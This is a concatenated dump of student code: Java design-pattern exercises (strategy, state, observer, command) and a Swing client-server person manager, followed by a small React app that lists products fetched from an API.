public String getTel(){ return tel;}
public int getAge(){ return age;}
}
<file_sep>/**
* Created by soyoon on 2015. 12. 8..
*/
public class VerticalMoveStrategy implements MoveStrategy {
public void move(Ball ball) {
ball.setxInterval(0);
ball.setyInterval(Ball.INTERVAL);
}
}
<file_sep>/**
* Created by soyoon on 2015. 12. 8..
*/
public interface MoveStrategy {
public void move(Ball ball);
}
<file_sep>package example;
/**
* Created by soyoon on 2015. 12. 8..
*/
public class ColorBlue implements ColorStrategy {
public void color() {
System.out.println("Color is blue");
}
}
<file_sep>package kr.study;
/**
* Created by soyoon on 2015. 12. 8..
*/
public class FlyingStrategy implements MovingStrategy {
public void move() {
System.out.println("I can fly");
}
}
<file_sep>import java.awt.*;
/**
* Created by soyoon on 2015. 12. 8..
*/
public class Ball extends Thread {
public static int SIZE = 20;
public static int INTERVAL = 10;
private int x;
private int y;
private int xInterval;
private int yInterval;
private Color color;
private MoveStrategy moveStrategy;
public Ball(int x, int y) {
this.x = x;
this.y = y;
}
public void move() {
moveStrategy.move(this);
}
public void run() {
while(true) {
x+=xInterval;
y+=yInterval;
if(x<0 || xInterval<0 || x+Ball.INTERVAL > BallFrame.WIDTH-15 && xInterval > 0) {
xInterval = -xInterval;
}
if(y<0 || yInterval<0 || y+Ball.INTERVAL > BallFrame.HEIGHT-15 && yInterval > 0) {
yInterval = -yInterval;
}
try{ Thread.sleep(30);} catch(Exception e){};
}
}
public void setX(int x) {
this.x = x;
}
public void setY(int y) {
this.y = y;
}
public void setxInterval(int xInterval) {
this.xInterval = xInterval;
}
public void setyInterval(int yInterval) {
this.yInterval = yInterval;
}
public void setColor(Color color) {
this.color = color;
}
public void setMoveStrategy(MoveStrategy moveStrategy) {
this.moveStrategy = moveStrategy;
}
public int getX() {
return x;
}
public int getY() {
return y;
}
public int getxInterval() {
return xInterval;
}
public int getyInterval() {
return yInterval;
}
public Color getColor() {
return color;
}
public MoveStrategy getMoveStrategy() {
return moveStrategy;
}
}
<file_sep>package state.autosafe;
/**
* Created by soyoon on 2015. 12. 9..
*/
public class DayState implements SafeState {
private static DayState instance;
private DayState(){}
public static DayState getInstance() {
synchronized (DayState.class) {
if(instance == null) {
instance = new DayState();
}
}
return instance;
}
public String toString() {
return "[주간]";
}
@Override
public void doAlarm(Context context) {
context.callSecurityCenter("비상벨 울림");
}
@Override
public void doClock(Context context, int time) {
if(time<9 || time>18) {
context.changeState(NightState.getInstance());
}
}
@Override
public void doPhone(Context context) {
context.connectCalling();
}
@Override
public void doUse(Context context) {
context.recordLog("금고 사용");
}
}
<file_sep>package school.client;
import java.io.*; import java.net.*; import school.*;
/**서버와 통신하는 클래스로 send기능과 receive기능이 있는 클래스 */
public class NetClient {
Socket socket;
ObjectInputStream ois;
ObjectOutputStream oos;
String host; //연결될 서버의 주소
public NetClient(){this("localhost");}
public NetClient(String host){
this.host = host;
connect(host); //서버와 연결
}
/**서버에 객체를 전송해주는 메서드 */
public void send(Object o) throws Exception{
int retry=10; //접속 error가 발생시 다시 서버에 전송 시도 횟수
while(retry>0){
try {
oos.writeObject(o);
retry =0;
} catch (Exception e) {
retry--;
if(retry==0) throw e;
try{Thread.sleep(500);}catch(Exception e1){}
connect(host); //오류에 의해 연결이 끊겨졌으면 다시 연결해서 전송
}
}
}
/**서버로 부터 객체를 전송받는 메서드 */
public Command receive() throws Exception {
Command result = null;
try {
Object obj = ois.readObject();
if(obj instanceof Command)
result = (Command)obj;
} catch (Exception e) {
connect(host); //오류에 의해 소켓 연결이 끊겼다면 다시 연결
throw e;
}
return result;
}
/**인자로 받은 특정 host로 연결해주는 메서드 */
public void connect(String host){
try {
/*소켓이 생성이 되지 않았거나 또는 소켓이 생성은 됐지만 오류에 의해
* 연결이 끊어졌을때 다시 연결 */
if(socket==null || !socket.getKeepAlive()){
socket = new Socket(host,5555);
oos = new ObjectOutputStream(socket.getOutputStream());
ois = new ObjectInputStream(socket.getInputStream());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
<file_sep>package school;
public class ObjectNotFoundException extends Exception{
public ObjectNotFoundException(){}
public ObjectNotFoundException(String msg){super(msg);}
}<file_sep>package school.net;
import school.*; import school.model.*;
public class ShowCommand extends Command {
public void execute(SchoolMgr model) {
setResult(model.show());
}
}
<file_sep>package school.net;
import school.*; import school.model.*;
public class AddPersonCommand extends Command {
private Person person;
public AddPersonCommand(){}
public AddPersonCommand(Person person){ this.person = person;}
public void execute(SchoolMgr model) {
try {
setResult(new Boolean(model.addPerson(person)));
} catch (Exception e) { setResult(e); }
}
}
<file_sep>package com.pattern.state.document;
/**
* Created by soyoon on 2015. 12. 9..
*/
public class Document {
private static State state = CleanState.getInstance();
private StringBuilder text;
public Document() {
this.text = new StringBuilder(100);
}
public static void setState(State s) {
state = s;
}
public void open() {
state.open();
}
public void close() {
state.close();
}
public void edit(String text) {
this.text.append(text);
state.edit(text);
}
public void save() {
state.save();
}
}
<file_sep>package school.view;
import java.awt.*; import javax.swing.*; import javax.swing.table.*;
import java.awt.event.*; import school.*; import school.model.*;
import java.util.*;
public class SchoolView {
JFrame frame;
JButton addP, removeP,findP,findTelP, findAddP,show;
JTextField[] fields;
String[] labels={"번호","이름","나이","주소","전화번호"};
JLabel[] label ;
JPanel left,right, ltop,lmain, lbottom, info, log;
JLabel rightLabel, logLabel,logTop;//오른쪽에 테이블 위 Label
DefaultTableModel tableModel;
JTable table;
JScrollPane tablePane;
SchoolMgr model;
ActionListener addHandler = new ActionListener(){
public void actionPerformed(ActionEvent e){
Person person = new Person();
person.setNo(fields[0].getText());
person.setName(fields[1].getText());
String ages = fields[2].getText();
int age = ages==null?0:Integer.parseInt(ages);
person.setAge(age);
person.setAddress(fields[3].getText());
person.setTel(fields[4].getText());
try {
model.addPerson(person);
logLabel.setText(person+"\n정보를 저장하였습니다");
for(int i=0; i<fields.length; i++)fields[i].setText("");
show();
} catch (Exception e2) {
logLabel.setText(person+"을 저장하는데 실패했습니다.\n"+e2.getMessage());
}
}
};
ActionListener removeHandler = new ActionListener(){
public void actionPerformed(ActionEvent e){
String no = fields[0].getText();
Person person = new Person();
person.setNo(no);
try {
model.removePerson(person);
logLabel.setText(no+"\n삭제하였습니다.");
fields[0].setText("");
show();
} catch (Exception e2) {
logLabel.setText(no+"을 삭제하는데 실패했습니다.\n"+e2.getMessage());
}
}
};
ActionListener showHandler = new ActionListener(){
public void actionPerformed(ActionEvent e){
show();
}
};
ActionListener findPHandler = new ActionListener(){
public void actionPerformed(ActionEvent e){
String no = fields[0].getText();
try {
Person person = model.findByNo(no);
fields[1].setText(person.getName());
fields[2].setText(""+person.getAge());
fields[3].setText(person.getAddress());
fields[4].setText(person.getTel());
} catch (Exception e2) {
logLabel.setText(no+"\n 정보를 load하지못했습니다.\n"+e2.getMessage());
}
}
};
ActionListener findTHandler = new ActionListener(){
public void actionPerformed(ActionEvent e){
String tel = fields[4].getText();
try {
ArrayList<Person> list = model.findByTel(tel);
show(list);
} catch (Exception e2) {
logLabel.setText(tel+"\n해당하는 정보로딩실패\n"+e2.getMessage());
}
}
};
ActionListener findAddressHandler = new ActionListener(){
public void actionPerformed(ActionEvent e){
String address = fields[3].getText();
try {
ArrayList<Person> list = model.findByAddress(address);
show(list);
} catch (Exception e2) {
logLabel.setText(address+"\n해당하는 정보로딩실패\n"+e2.getMessage());
}
}
};
public void show(){
ArrayList<Person> list = model.show();
show(list);
}
/**ArrayList들어온 Person정보를 tableModel에 setting하는 메서드 */
public void show(ArrayList<Person> list){
String[][] data = new String[list.size()][5];
int i=0;
for (Person person : list) {
data[i][0] = person.getNo();
data[i][1] = person.getName();
data[i][2] = ""+person.getAge();
data[i][3] = person.getAddress();
data[i++][4] = person.getTel();
}
tableModel.setDataVector(data, labels);
}
public void setLeftTop(){
ltop = new JPanel(new GridLayout(1,4));
findP = new JButton("FindByNo");
findTelP = new JButton("FindByTel");
findAddP = new JButton("FindByAddress");
show = new JButton("list");
ltop.add(findP); ltop.add(findTelP); ltop.add(findAddP); ltop.add(show);
findP.addActionListener(findPHandler);
findTelP.addActionListener(findTHandler);
findAddP.addActionListener(findAddressHandler);
show.addActionListener(showHandler);
}
public void setLeftMain(){
log = new JPanel(new BorderLayout());
logTop = new JLabel("log", SwingConstants.CENTER);
logLabel = new JLabel("");
logLabel.setSize(30,100);
log.add(logTop,"North");
log.add(logLabel,"Center");
info = new JPanel(new GridLayout(5,2));
label = new JLabel[labels.length];
fields = new JTextField[labels.length];
for (int i = 0; i < labels.length; i++) {
label[i] = new JLabel(labels[i], SwingConstants.CENTER);
fields[i] = new JTextField(10);
info.add(label[i]);
info.add(fields[i]);
}
lmain = new JPanel(new GridLayout(1,2));
lmain.add(info); lmain.add(log);
}
public void setLeftBottom(){
lbottom = new JPanel();
addP = new JButton("추가");
removeP = new JButton("삭제");
lbottom.add(addP);
lbottom.add(removeP);
addP.addActionListener(addHandler);
removeP.addActionListener(removeHandler);
}
public void setRight(){
right = new JPanel(new BorderLayout());
rightLabel = new JLabel("리스트", SwingConstants.CENTER);
tableModel = new DefaultTableModel(labels,10);
table =new JTable(tableModel);
tablePane = new JScrollPane(table);
right.add(rightLabel,"North");
right.add(tablePane,"Center");
}
public SchoolView(){ this(null); }
public SchoolView(SchoolMgr model){
this.model =model;
setLeftTop();
setLeftMain();
setLeftBottom();
setRight();
left = new JPanel(new BorderLayout());
left.add(ltop,"North");
left.add(lmain,"Center");
left.add(lbottom,"South");
frame = new JFrame("Person Management");
frame.setLayout(new GridLayout(1,2));
Container con = frame.getContentPane();
con.add(left);
con.add(right);
show();
frame.setSize(800,200);
frame.setVisible(true);
}
public static void main(String[] args) {new SchoolView(); }
}
<file_sep>package com.pattern.observer.stock;
import java.util.Observable;
/**
* Created by soyoon on 2015. 12. 9..
*/
public class Stock extends Observable {
private String ticker;
private String name;
private double price;
public Stock(String ticker, String name, double price) {
this.ticker = ticker;
this.name = name;
this.price = price;
}
public String getTicker() {
return ticker;
}
public void setTicker(String ticker) {
this.ticker = ticker;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public double getPrice() {
return price;
}
public void setPrice(double price) throws Exception {
if(price>=0) {
this.price = price;
setChanged();
notifyObservers();
}else {
throw new Exception("Invalid Price");
}
}
}
<file_sep>package com.pattern.composite;
/**
* Created by soyoon on 2015. 12. 9..
*/
public interface ComputerDevice {
public int getPrice();
public int getPower();
}
<file_sep>package school;
public class NoSpaceException extends Exception{
public NoSpaceException(){}
public NoSpaceException(String msg){super(msg);}
}<file_sep>package school;
import school.model.*;
import school.view.*;
public class TestSchool {
public static void main(String[] args) {
SchoolMgrFileIO model = new SchoolMgrFileIO();
SchoolView view = new SchoolView(model);
}
}
<file_sep>package com.pattern.command.ver2;
public class Client {
public static void main(String[] args) {
Alarm lamp = new Alarm() ;
Button lampButton = new Button(lamp) ;
lampButton.pressed() ;
}
}
<file_sep>package example;
/**
* Created by soyoon on 2015. 12. 8..
*/
public interface ColorStrategy {
public void color();
}
<file_sep>package school;
public class DuplicateException extends Exception{
public DuplicateException(){}
public DuplicateException(String msg){super(msg);}
}<file_sep>package school.net;
import school.*; import school.model.*;
public class FindByAddressCommand extends Command {
private String address;
public FindByAddressCommand(){}
public FindByAddressCommand(String address){ this.address = address;}
public void execute(SchoolMgr model) {
setResult(model.findByAddress(address));
}
}
<file_sep>package kr.study;
import example.*;
/**
* Created by soyoon on 2015. 12. 8..
*/
public class Client {
/*
[ 스트래티지 패턴 ]( 전략을 쉽게 바꿀 수 있도록 해주는 디자인 패턴 )
같은 문제를 해결하는 여러 알고리즘이 클래스별로 캡슐화되어 있고 이들이 필요할 때 교체할 수 있도록 함을써 동일한 문제를
다른 알고리즘으로 해결할 수 있게 하는 디자인 패턴
- Strategy : 인터페이스나 추상 클래스로 외부에서 동일한 방식으로 알고리즘을 호출하는 방법을 명시
--> kr.study.MovingStrategy, kr.study.AttackStrategy
- ConcreteStrategy1, ConcreteStrategy2, ConcreteStrategy3 : 스트래티치 패턴에서 명시한 알고리즘을 실제로 구현
--> kr.study.WalkingStrategy, kr.study.FlyingStrategy, kr.study.PunchStrategy, kr.study.MissileStrategy
- Context : 스트래티지 패턴을 이용하는 역할을 수행 필요에 따라 동적으로 구체적인 전략을 바꿀 수 있도록 setter 메서드를 제공
--> kr.study.Robot, kr.study.Atom, kr.study.TaekwonV
ex) 쿠키런 : episode / 쿠키 / 보석 별로 다른 게임이 되어야 하니까 if/else의 향연이 아닌 ? 스트래티지 패턴으로 적용시킬 수 있을듯
*/
public static void main(String[] args) {
Robot taekwonV = new TaekwonV("kr.study.TaekwonV");
Robot atom = new Atom("kr.study.Atom");
taekwonV.setMovingStrategy(new WalkingStrategy());
taekwonV.setAttackStrategy(new MissileStrategy());
atom.setMovingStrategy(new FlyingStrategy());
atom.setAttackStrategy(new PunchStrategy());
System.out.println("My name is " + taekwonV.getName());
taekwonV.move();
taekwonV.attack();
System.out.println();
System.out.println("My name is " + atom.getName());
atom.move();
atom.attack();
System.out.println();
Ball ball1 = new Ball("Ball1");
Ball ball2 = new Ball("Ball2");
ball1.setMoveStrategy(new MoveDialonal());
ball1.setColorStrategy(new ColorRed());
ball1.move();
ball1.color();
ball2.setMoveStrategy(new MoveUpDown());
ball2.setColorStrategy(new ColorBlue());
ball2.move();
ball2.color();
}
}
<file_sep>package example;
/**
* Created by soyoon on 2015. 12. 8..
*/
public class Ball {
private String name;
private MoveStrategy moveStrategy;
private ColorStrategy colorStrategy;
public Ball(String name) {
this.name = name;
}
public void color() {
colorStrategy.color();
}
public void move() {
moveStrategy.move();
}
public void setMoveStrategy(MoveStrategy moveStrategy) {
this.moveStrategy = moveStrategy;
}
public void setColorStrategy(ColorStrategy colorStrategy) {
this.colorStrategy = colorStrategy;
}
}
<file_sep>package com.pattern.observer.score;
import java.util.Collections;
import java.util.List;
/**
* Created by soyoon on 2015. 12. 9..
*/
public class MinMaxView implements Observer {
private ScoreRecord record;
public MinMaxView(ScoreRecord record) {
this.record = record;
}
@Override
public void update() {
List<Integer> scores = record.getScoreRecord();
displayMinMax(scores);
}
private void displayMinMax(List<Integer> scores) {
int min = Collections.min(scores, null);
int max = Collections.max(scores, null);
System.out.printf("min : %d max : %d \n", min, max);
}
}
<file_sep>/**
* Created by soyoon on 2015. 12. 8..
*/
public class HorizontalMoveStrategy implements MoveStrategy {
public void move(Ball ball) {
ball.setxInterval(Ball.INTERVAL);
ball.setyInterval(0);
}
}
<file_sep>package school.net;
import school.*; import school.model.*;
public class RemovePersonCommand extends Command {
private Person person;
public RemovePersonCommand(){}
public RemovePersonCommand(Person person){ this.person = person;}
public void execute(SchoolMgr model) {
try { model.removePerson(person); } catch (Exception e) { setResult(e); }
}
}
<file_sep>package com.pattern.state.document;
/**
* Created by soyoon on 2015. 12. 9..
*/
public class Main {
public static void main(String[] args) {
Document doc = new Document();
doc.open();
doc.edit("hello");
doc.open();
doc.save();
doc.close();
doc.open();
}
}
| 67faf55e539fe06b56d292b78325a6341a3926fa | [
"Java"
] | 30 | Java | soyoon/DesignPattern | 199e92477a3ee2d36c6727589bc89be9afd6aa34 | abbccdbe2ed507c2e325b3de8aa88d80aa92dadc |
refs/heads/main | <file_sep>import React, { useState, useEffect } from "react";
import { BrowserRouter as Router, Switch, Route, Link } from "react-router-dom";
import axios from "axios";
function Functions() {
return (
<div classNme="container-fluid">
<buttton type="button" class="btn btn-primary">
<Link to="/" style={{ color: "white" }}>
All
</Link>
</buttton>
<buttton type="button" class="btn btn-primary">
<Link to="/pricea" style={{ color: "white" }}>
400<Price<800
</Link>
</buttton>
<buttton type="button" class="btn btn-primary">
<Link to="/priceb" style={{ color: "white" }}>
400>Price<600
</Link>
</buttton>
<buttton type="button" class="btn btn-primary">
<Link to="/five" style={{ color: "white" }}>
Price>500{" "}
</Link>
</buttton>
<buttton type="button" class="btn btn-primary">
<Link to="/nm" style={{ color: "white" }}>
Name ,Material
</Link>
</buttton>
<buttton type="button" class="btn btn-primary">
<Link to="/ten" style={{ color: "white" }}>
ID:10
</Link>
</buttton>
<buttton type="button" class="btn btn-primary">
<Link to="/soft" style={{ color: "white" }}>
Soft
</Link>
</buttton>
<buttton type="button" class="btn btn-primary">
<Link to="/ind" style={{ color: "white" }}>
Indigo 492
</Link>
</buttton>
<buttton type="button" class="btn btn-primary">
<Link to="/delete" style={{ color: "white" }}>
Delete
</Link>
</buttton>
</div>
);
}
export default Functions;
<file_sep>import logo from "./logo.svg";
import "./App.css";
import { BrowserRouter as Router, Switch, Route, Link } from "react-router-dom";
import Functions from "./functions";
import All from "./all";
import Pricea from "./pricea";
import Priceb from "./priceb";
import Five from "./five";
import Nm from "./nm";
import Ten from "./ten";
import Soft from "./soft";
import Ind from "./indigo";
import Delete from "./delete";
function App() {
return (
<div className="container-fluid">
<Router>
<Functions></Functions>
<Switch>
<Route path="/" component={All} exact={true} />
<Route path="/pricea" component={Pricea} exact={true} />
<Route path="/priceb" component={Priceb} exact={true} />
<Route path="/five" component={Five} exact={true} />
<Route path="/nm" component={Nm} exact={true} />
<Route path="/ten" component={Ten} exact={true} />
<Route path="/soft" component={Soft} exact={true} />
<Route path="/ind" component={Ind} exact={true} />
<Route path="/delete" component={Delete} exact={true} />
</Switch>
</Router>
</div>
);
}
export default App;
<file_sep>import React, { useState, useEffect } from "react";
import { BrowserRouter as Router, Switch, Route, Link } from "react-router-dom";
import axios from "axios";
function Pricea() {
const [pricea, setpricea] = useState([]);
useEffect(async () => {
fetch();
}, []);
let fetch = async () => {
try {
let getpricea = await axios.get(
"https://yadharthmdb1.herokuapp.com/price1"
);
setpricea([...getpricea.data]);
} catch (error) {}
};
return (
<div>
<div className="container-fluid">
<div>400<Price<800</div>
<table className="table">
<thead id="th">
<tr>
<td>ID</td>
<td>Name</td>
<td>Price</td>
<td>Material</td>
<td>Color</td>
</tr>
</thead>
<tbody>
{pricea.map((user) => {
return (
<tr>
<td>
<span className="unumber">{user.id}</span>
</td>
<td>
<span className="udetails">{user.product_name}</span>
</td>
<td>
<span className="udetails">{user.product_price}</span>
</td>
<td>
<span className="udetails">{user.product_material}</span>
</td>
<td>
<span className="udetails">{user.product_color}</span>
</td>
</tr>
);
})}
</tbody>
</table>
</div>
</div>
);
}
export default Pricea;
| 467d2553b764e0dbea127583e5b21c2e142a96e1 | [
"JavaScript"
] | 3 | JavaScript | YadharthGC/mongodb1 | 985643c448486fd1c9536b87480544140f19413d | e358cfc109d8ab75f1cddf662987b2881162d1a6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.